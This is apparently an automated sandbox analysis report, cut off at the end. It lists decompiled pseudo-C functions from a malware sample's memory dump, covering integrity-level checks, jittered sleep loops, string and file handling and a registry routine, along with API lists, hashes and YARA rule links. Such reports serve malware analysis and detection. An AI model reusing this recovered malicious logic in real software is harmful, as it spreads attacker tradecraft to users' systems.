GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000,00000000,?), ref: 033D10C6
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 033D10CE
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 033D10DE

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: bbb242f428891baa648bce60a663e77044c8ea43717523ef56c73469c4025f37
Instruction ID: 6907a08606317b1c0a274ec302d3b31a85ddb97c94b990e7494ed263ace5fd74
Opcode Fuzzy Hash: bbb242f428891baa648bce60a663e77044c8ea43717523ef56c73469c4025f37
Instruction Fuzzy Hash: 25216A76D00249FFEB10EF91ED84EEEBBBDEB08300F0440A5EA11A6154DB759A54EB60

Uniqueness

Uniqueness Score: -1.00%

Function 033D4430, Relevance: 10.6, APIs: 7, Instructions: 72
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E033D4430(signed int __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				char _v32;
				long _v40;
				void* _t14;
				void* _t16;
				int _t18;
				signed int _t20;
				void* _t22;
				signed int _t23;
				intOrPtr _t25;
				unsigned int _t29;
				signed int _t33;
				signed int _t40;

				_t33 = __edx;
				_t14 = HeapCreate(0, 0x400000, 0); // executed
				 *0x33da290 = _t14;
				if(_t14 != 0) {
					 *0x33da180 = GetTickCount();
					_t16 = E033D2A18(_a4);
					if(_t16 != 0) {
						L10:
						return _t16;
					} else {
						goto L3;
					}
					do {
						L3:
						GetSystemTimeAsFileTime( &_v12);
						_t18 = SwitchToThread();
						_t29 = _v12.dwHighDateTime;
						_t20 = (_t29 << 0x00000020 | _v12.dwLowDateTime) >> 7;
						_push(0);
						_push(9);
						_push(_t29 >> 7);
						_push(_t20);
						L033D80B2();
						_t40 = _t18 + _t20;
						_t22 = E033D3F5D(_a4, _t40);
						_t23 = 2;
						Sleep(_t23 << _t40); // executed
					} while (_t22 == 1);
					_t25 =  *0x33da2ac; // 0x2e4
					_v32 = 0;
					if(_t25 != 0) {
						__imp__(_t25,  &_v32);
						if(_t25 == 0) {
							_v40 = 0;
						}
						if(_v40 != 0) {
							 *0x33da2b8 = 1; // executed
						}
					}
					_t16 = E033D2D63(_t33); // executed
					goto L10;
				}
				_t16 = 8;
				goto L10;
			}

0x033d4430
0x033d4445
0x033d444d
0x033d4452
0x033d4465
0x033d446a
0x033d4471
0x033d44f9
0x033d44ff
0x00000000
0x00000000
0x00000000
0x033d4477
0x033d4477
0x033d447c
0x033d4482
0x033d4488
0x033d4492
0x033d4496
0x033d4497
0x033d449c
0x033d449d
0x033d449e
0x033d44a3
0x033d44a9
0x033d44b2
0x033d44b8
0x033d44be
0x033d44c3
0x033d44ca
0x033d44ce
0x033d44d6
0x033d44de
0x033d44e0
0x033d44e0
0x033d44e8
0x033d44ea
0x033d44ea
0x033d44e8
0x033d44f4
0x00000000
0x033d44f4
0x033d4456
0x00000000

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001), ref: 033D4445
GetTickCount.KERNEL32 ref: 033D445C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001), ref: 033D447C
SwitchToThread.KERNEL32(?,00000001), ref: 033D4482
_aullrem.NTDLL(?,?,00000009,00000000), ref: 033D449E
Sleep.KERNELBASE(00000002,00000000,?,00000001), ref: 033D44B8
IsWow64Process.KERNEL32(000002E4,?,?,00000001), ref: 033D44D6

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapProcessSleepSwitchSystemThreadTickWow64_aullrem
String ID:
API String ID: 3690864001-0
Opcode ID: b69260176407417dd56f7d3acf6138af72cfa900f9ca1e2563ac91245490010d
Instruction ID: 1f4fc3fc914ecd9541ab4a3f173a2eaa8a93d295d11cb3f311545963fc333d79
Opcode Fuzzy Hash: b69260176407417dd56f7d3acf6138af72cfa900f9ca1e2563ac91245490010d
Instruction Fuzzy Hash: 9E218CB2A05304AFDB10FFA5FCC8B2A77ACAB44350F048929F559DA140DB389898CB61

Uniqueness

Uniqueness Score: -1.00%

Function 033D5AE3, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E033D5AE3(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x33da2d0; // 0x266d5a8
				_t1 = _t9 + 0x33db61b; // 0x253d7325
				_t36 = 0;
				_t28 = E033D47BA(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x5a49631
					_t40 = E033D5C4E(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E033D1AF1(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E033D2A03(_t40);
						_t42 = E033D332F(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E033D2A03(_t36);
							_t36 = _t42;
						}
						_t43 = E033D4138(_t36, _t33);
						if(_t43 != 0) {
							E033D2A03(_t36);
							_t36 = _t43;
						}
					}
					E033D2A03(_t28);
				}
				return _t36;
			}

0x033d5ae3
0x033d5ae6
0x033d5ae7
0x033d5aee
0x033d5af5
0x033d5afc
0x033d5b00
0x033d5b07
0x033d5b0e
0x033d5b13
0x033d5b1b
0x033d5b25
0x033d5b29
0x033d5b2d
0x033d5b33
0x033d5b38
0x033d5b42
0x033d5b48
0x033d5b4a
0x033d5b61
0x033d5b65
0x033d5b68
0x033d5b6d
0x033d5b6d
0x033d5b76
0x033d5b7a
0x033d5b7d
0x033d5b82
0x033d5b82
0x033d5b7a
0x033d5b85
0x033d5b8a
0x033d5b90

APIs

Part of subcall function 033D47BA: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,033D5AFC,253D7325,00000000,00000000,?,00000000,033D6301), ref: 033D4821
Part of subcall function 033D47BA: sprintf.NTDLL ref: 033D4842

lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B0E
lstrlen.KERNEL32(00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B16

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

strcpy.NTDLL ref: 033D5B2D
lstrcat.KERNEL32(00000000,00000000), ref: 033D5B38

Part of subcall function 033D1AF1: lstrlen.KERNEL32(00000000,00000000,033D6301,00000000,?,033D5B47,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D1B02

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D5B55

Part of subcall function 033D332F: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,033D5B61,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D3339
Part of subcall function 033D332F: _snprintf.NTDLL ref: 033D3397

Strings

=, xrefs: 033D5B4F

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 58edaf7604b2025d3af19fc4188fc937dc7abcabe482befccc260ccd1c5412ca
Instruction ID: b4045c494e71c219e9b32713b8a8ab0896f52b19c311464dfb449e0be57e79c0
Opcode Fuzzy Hash: 58edaf7604b2025d3af19fc4188fc937dc7abcabe482befccc260ccd1c5412ca
Instruction Fuzzy Hash: 6B11A03BD012256B9722FBB9BCC4CAF7AAD9F4A6607090515F900EF204DF78C91247E0

Uniqueness

Uniqueness Score: -1.00%

Function 033D1671, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 033D16B2
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,00000000), ref: 033D1734
StrStrIW.SHLWAPI(00000000,006E0069), ref: 033D1773
SysFreeString.OLEAUT32(00000000), ref: 033D1795

Part of subcall function 033D13B4: SysAllocString.OLEAUT32(033D92D0), ref: 033D1404

SafeArrayDestroy.OLEAUT32(?), ref: 033D17E9
SysFreeString.OLEAUT32(?), ref: 033D17F7

Part of subcall function 033D5872: Sleep.KERNELBASE(000001F4), ref: 033D58BA

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 0b336a7dc15e05c515be37120fe9dc30c2b432fedecdfecdc283de3db43f5b57
Instruction ID: 7702302b895b6b6d10de0106eab6b6096a5e2a4d9287b096c4468ec98c9ac7e5
Opcode Fuzzy Hash: 0b336a7dc15e05c515be37120fe9dc30c2b432fedecdfecdc283de3db43f5b57
Instruction Fuzzy Hash: 8F510B76900209EFCB51DFA4E8C48AEF7B6FF88350B198828E515EB224D775AD45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 033D344C, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 033D34A3
SysAllocString.OLEAUT32(033D20DE), ref: 033D34E6
SysFreeString.OLEAUT32(00000000), ref: 033D34FA
SysFreeString.OLEAUT32(00000000), ref: 033D3508

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: fbb1f2d72e46c1283e061d2c5ea086344bbf3d151349c6c11d17350e1574a8b9
Instruction ID: ee733502b546bf9d24016f90e5cb647856c99268d1994bf2cb915f6699add4f1
Opcode Fuzzy Hash: fbb1f2d72e46c1283e061d2c5ea086344bbf3d151349c6c11d17350e1574a8b9
Instruction Fuzzy Hash: 68313D76900109EFCB06DF98E8C48EEBBB9FF48350B24806EF50697250E7359A55CF62

Uniqueness

Uniqueness Score: -1.00%

Function 033D5988, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E033D5988(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E033D5C4E(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x033d5994
0x033d5998
0x033d5999
0x033d599a
0x033d599c
0x033d599e
0x033d59a3
0x033d59a6
0x033d5a3d
0x033d5a44
0x033d5a44
0x033d59af
0x033d59b6
0x033d59c6
0x033d59c6
0x033d59cc
0x033d59ce
0x033d59d3
0x033d59dc
0x033d59e4
0x033d59e7
0x033d59f2
0x033d59f6
0x033d59f8
0x033d59f9
0x033d5a02
0x033d5a06
0x033d5a17
0x033d5a08
0x033d5a0d
0x033d5a12
0x033d5a21
0x033d5a21
0x033d59f6
0x033d5a27
0x033d5a2d
0x033d5a2d
0x033d5a36
0x033d5a3b
0x033d5a3b
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 033D59B6
lstrlenW.KERNEL32(?), ref: 033D59EC
memcpy.NTDLL(00000000,?,00000000,00000000), ref: 033D5A0D
SysFreeString.OLEAUT32(?), ref: 033D5A21

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 3ad9b888310caffcda6c21983c7b4f3ab5434aae7a062ee6ac29de5eba2ddd7d
Instruction ID: d0944fbabc172d88df10cc97757b0174452b0723239fc4a2da5ac49dcb74bb9e
Opcode Fuzzy Hash: 3ad9b888310caffcda6c21983c7b4f3ab5434aae7a062ee6ac29de5eba2ddd7d
Instruction Fuzzy Hash: 17213C7AA01219EFDB11DFA4E8C4A9EBBB8FF49305F1441A9E945E7204EB309A05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 033D4A3C, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D4A3C(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E033D4380(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x33da2d0; // 0x266d5a8
				_t4 = _t24 + 0x33dbd90; // 0x5a49338
				_t5 = _t24 + 0x33dbd38; // 0x4f0053
				_t26 = E033D30AD( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x33da2d0; // 0x266d5a8
						_t11 = _t32 + 0x33dbd84; // 0x5a4932c
						_t48 = _t11;
						_t12 = _t32 + 0x33dbd38; // 0x4f0053
						_t55 = E033D4DC8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x33da2d0; // 0x266d5a8
							_t13 = _t35 + 0x33dbdce; // 0x30314549
							_t37 = E033D5EC8(_t48, _t50, _t59, _v8, _t55, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x33da2b4 - 6;
								if( *0x33da2b4 <= 6) {
									_t42 =  *0x33da2d0; // 0x266d5a8
									_t15 = _t42 + 0x33dbbda; // 0x52384549
									E033D5EC8(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x33da2d0; // 0x266d5a8
							_t17 = _t38 + 0x33dbdc8; // 0x5a49370
							_t18 = _t38 + 0x33dbda0; // 0x680043
							_t45 = E033D33B7(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x33da290, 0, _t55);
						}
					}
					HeapFree( *0x33da290, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E033D3EFA(_t54);
				}
				return _t45;
			}

0x033d4a3c
0x033d4a4c
0x033d4a4f
0x033d4a56
0x033d4a58
0x033d4a58
0x033d4a5b
0x033d4a60
0x033d4a67
0x033d4a74
0x033d4a79
0x033d4a7d
0x033d4a8b
0x033d4a99
0x033d4a9d
0x033d4b2e
0x033d4b2e
0x033d4aa3
0x033d4aa3
0x033d4aa8
0x033d4aa8
0x033d4aaf
0x033d4abb
0x033d4abd
0x033d4abf
0x033d4ac1
0x033d4ac8
0x033d4ad3
0x033d4ada
0x033d4adc
0x033d4ae3
0x033d4ae5
0x033d4aec
0x033d4af7
0x033d4af7
0x033d4ae3
0x033d4afc
0x033d4b01
0x033d4b08
0x033d4b26
0x033d4b28
0x033d4b28
0x033d4abf
0x033d4b3a
0x033d4b3a
0x033d4b3c
0x033d4b41
0x033d4b43
0x033d4b43
0x033d4b4e

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05A49338,00000000,?,7519F710,00000000,7519F730), ref: 033D4A8B
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05A49370,?,00000000,30314549,00000014,004F0053,05A4932C), ref: 033D4B28
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,033D1BD5), ref: 033D4B3A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2998f0b68d80013a48a6962a126b067d3780d2ac84c62c7816bbab1115a12b9a
Instruction ID: 49005c9f71187d33046d01cbf5b90e44c50128845acf0815586495254285c556
Opcode Fuzzy Hash: 2998f0b68d80013a48a6962a126b067d3780d2ac84c62c7816bbab1115a12b9a
Instruction Fuzzy Hash: 80319C37901208FFDB11EB96FDC4EAABBBCEF44300F1A0155F505AB0A5DA719A24DB90

Uniqueness

Uniqueness Score: -1.00%

Function 033D243C, Relevance: 4.6, APIs: 3, Instructions: 82
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E033D243C(intOrPtr* __eax, void* __ecx, long _a4, void** _a8, intOrPtr* _a12, char _a16) {
				void* _v8;
				char _v48;
				void* __edi;
				intOrPtr _t22;
				long _t29;
				intOrPtr _t33;
				void* _t36;
				intOrPtr* _t41;
				void* _t42;
				void* _t46;
				intOrPtr* _t47;
				void* _t48;
				intOrPtr _t50;

				_t42 = __ecx;
				_t41 = _a16;
				_t47 = __eax;
				_t22 =  *0x33da2d0; // 0x266d5a8
				_t2 = _t22 + 0x33db671; // 0x657a6973
				wsprintfA( &_v48, _t2,  *__eax,  *_t41);
				if( *0x33da2a4 >= 5) {
					_push( &_a16);
					_push( &_v8);
					_push( &_v48);
					_t29 = _a4;
					"QQSUVWh"();
					L5:
					_a4 = _t29;
					L6:
					if(_a4 != 0) {
						L9:
						 *0x33da2a4 =  *0x33da2a4 + 1;
						L10:
						return _a4;
					}
					_t49 = _a16;
					 *_t47 = _a16;
					_t48 = _v8;
					 *_t41 = E033D3F12(_t49, _t48); // executed
					_t33 = E033D45E6(_t46, _t48, _t49); // executed
					if(_t33 != 0) {
						 *_a8 = _t48;
						 *_a12 = _t33;
						if( *0x33da2a4 < 5) {
							 *0x33da2a4 =  *0x33da2a4 & 0x00000000;
						}
						goto L10;
					}
					_a4 = 0xbf;
					E033D2813();
					RtlFreeHeap( *0x33da290, 0, _t48); // executed
					goto L9;
				}
				_t50 =  *0x33da390; // 0x5a48d6c
				_t36 = RtlAllocateHeap( *0x33da290, 0, 0x800); // executed
				if(_t36 == 0) {
					_a4 = 8;
					goto L6;
				}
				_t29 = E033D6DB7(_a4, _t42, _t46, _t50,  &_v48,  &_v8,  &_a16, _t36); // executed
				goto L5;
			}

0x033d243c
0x033d2443
0x033d244a
0x033d244e
0x033d2453
0x033d245e
0x033d246e
0x033d24b1
0x033d24b5
0x033d24b9
0x033d24ba
0x033d24bd
0x033d24c2
0x033d24c2
0x033d24c5
0x033d24c9
0x033d2503
0x033d2503
0x033d2509
0x033d2510
0x033d2510
0x033d24cb
0x033d24ce
0x033d24d0
0x033d24dd
0x033d24df
0x033d24e6
0x033d251d
0x033d2522
0x033d2524
0x033d2526
0x033d2526
0x00000000
0x033d2524
0x033d24e8
0x033d24ef
0x033d24fd
0x00000000
0x033d24fd
0x033d2470
0x033d2483
0x033d248b
0x033d24a5
0x00000000
0x033d24a5
0x033d249e
0x00000000

APIs

wsprintfA.USER32 ref: 033D245E
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 033D2483

Part of subcall function 033D6DB7: GetTickCount.KERNEL32 ref: 033D6DCE
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6E1B
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6E38
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6E58
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6E76
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6E99
Part of subcall function 033D6DB7: wsprintfA.USER32 ref: 033D6EBA

RtlFreeHeap.NTDLL(00000000,033D1C1F,?,?,033D1C1F,?), ref: 033D24FD

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: wsprintf$Heap$AllocateCountFreeTick
String ID:
API String ID: 2794511967-0
Opcode ID: 818e2c9f577a4aea15db9d83cbfdc83d4127dc42395c487c5961f952995d649b
Instruction ID: ee3fdb7c5e1c08bf56e2a4558bea3bd41f3c2826220f7aee557cc47c912e79c7
Opcode Fuzzy Hash: 818e2c9f577a4aea15db9d83cbfdc83d4127dc42395c487c5961f952995d649b
Instruction Fuzzy Hash: 03313876901209EFCB01EF65FAC4A9A7BBDFB08310F144422F905EB244D7749A64CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 033D274E, Relevance: 4.6, APIs: 3, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E033D274E(void* __ecx, signed char* _a4) {
				signed int _v8;
				void* _v12;
				void* _t13;
				signed short _t16;
				signed int _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t22;
				void* _t23;
				signed short* _t26;
				void* _t27;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr* _t31;

				_t31 = __imp__;
				_t23 = 0;
				_v8 = 1;
				_t28 = 0x33da380;
				 *_t31(0, _t27, _t30, _t22, __ecx, __ecx);
				while(1) {
					_t13 = E033D4E9C(_a4,  &_v12); // executed
					if(_t13 == 0) {
						break;
					}
					_push(_v12);
					_t19 = 0xd;
					_t20 = E033D33FA(_t19);
					if(_t20 == 0) {
						HeapFree( *0x33da290, 0, _v12);
						break;
					} else {
						 *_t28 = _t20;
						_t28 = _t28 + 4;
						_t23 = _t23 + 1;
						if(_t23 < 3) {
							continue;
						} else {
						}
					}
					L7:
					 *_t31(1);
					if(_v8 != 0) {
						_t26 =  *0x33da388; // 0x5a49c78
						_t16 =  *_t26 & 0x0000ffff;
						if(_t16 < 0x61 || _t16 > 0x7a) {
							_t17 = _t16 & 0x0000ffff;
						} else {
							_t17 = (_t16 & 0x0000ffff) - 0x20;
						}
						 *_t26 = _t17;
					}
					return _v8;
				}
				_v8 = _v8 & 0x00000000;
				goto L7;
			}

0x033d2755
0x033d275c
0x033d275f
0x033d2766
0x033d276b
0x033d276d
0x033d2774
0x033d277b
0x00000000
0x00000000
0x033d277d
0x033d2782
0x033d2783
0x033d278a
0x033d27a4
0x00000000
0x033d278c
0x033d278c
0x033d278e
0x033d2791
0x033d2795
0x00000000
0x00000000
0x033d2797
0x033d2795
0x033d27ae
0x033d27b0
0x033d27b6
0x033d27b8
0x033d27be
0x033d27c5
0x033d27d5
0x033d27cd
0x033d27d0
0x033d27d0
0x033d27d8
0x033d27d8
0x033d27e2
0x033d27e2
0x033d27aa
0x00000000

APIs

Wow64EnableWow64FsRedirection.KERNEL32(00000000), ref: 033D276B

Part of subcall function 033D4E9C: RtlAllocateHeap.NTDLL(00000000,63699BC3,033DA380), ref: 033D4EC7
Part of subcall function 033D4E9C: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 033D4EE9
Part of subcall function 033D4E9C: memset.NTDLL ref: 033D4F03
Part of subcall function 033D4E9C: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 033D4F41
Part of subcall function 033D4E9C: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 033D4F55
Part of subcall function 033D4E9C: FindCloseChangeNotification.KERNELBASE(?), ref: 033D4F6C
Part of subcall function 033D4E9C: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 033D4F78
Part of subcall function 033D4E9C: lstrcat.KERNEL32(?,642E2A5C), ref: 033D4FB9
Part of subcall function 033D4E9C: FindFirstFileA.KERNELBASE(?,?), ref: 033D4FCF

Wow64EnableWow64FsRedirection.KERNEL32(00000001), ref: 033D27B0

Part of subcall function 033D33FA: lstrlen.KERNEL32(?,033DA380,75187FC0,00000000,033D2788,?,?,?,?,?,033D3EAC,?), ref: 033D3403
Part of subcall function 033D33FA: mbstowcs.NTDLL ref: 033D342A
Part of subcall function 033D33FA: memset.NTDLL ref: 033D343C

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,033D3EAC,?), ref: 033D27A4

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Wow64$FileHeap$AllocateEnableFindRedirectionmemset$ChangeCloseCreateFirstFreeNotificationTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 1489712272-0
Opcode ID: 2ce029d79e28b73fd780653b462b7c6b56cf715a6cfb9e86381d158eed620b12
Instruction ID: f4bf089551d8df5a7247e7a37df6984f99a4bc10e0fb3ec50ec70e8523480b23
Opcode Fuzzy Hash: 2ce029d79e28b73fd780653b462b7c6b56cf715a6cfb9e86381d158eed620b12
Instruction Fuzzy Hash: 0111047BA10208EFEB10DBA5FDC0BAEB7B9EB04325F140062F805D6081D7B59991DB20

Uniqueness

Uniqueness Score: -1.00%

Function 033D779E, Relevance: 4.6, APIs: 3, Instructions: 54
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D779E(void* __ecx, void* __eflags) {
				char _v8;
				void* _v12;
				int _v16;
				int _v20;
				intOrPtr _t15;
				intOrPtr _t19;
				long _t24;
				long _t29;
				short* _t31;
				short* _t34;

				_t15 =  *0x33da2d0; // 0x266d5a8
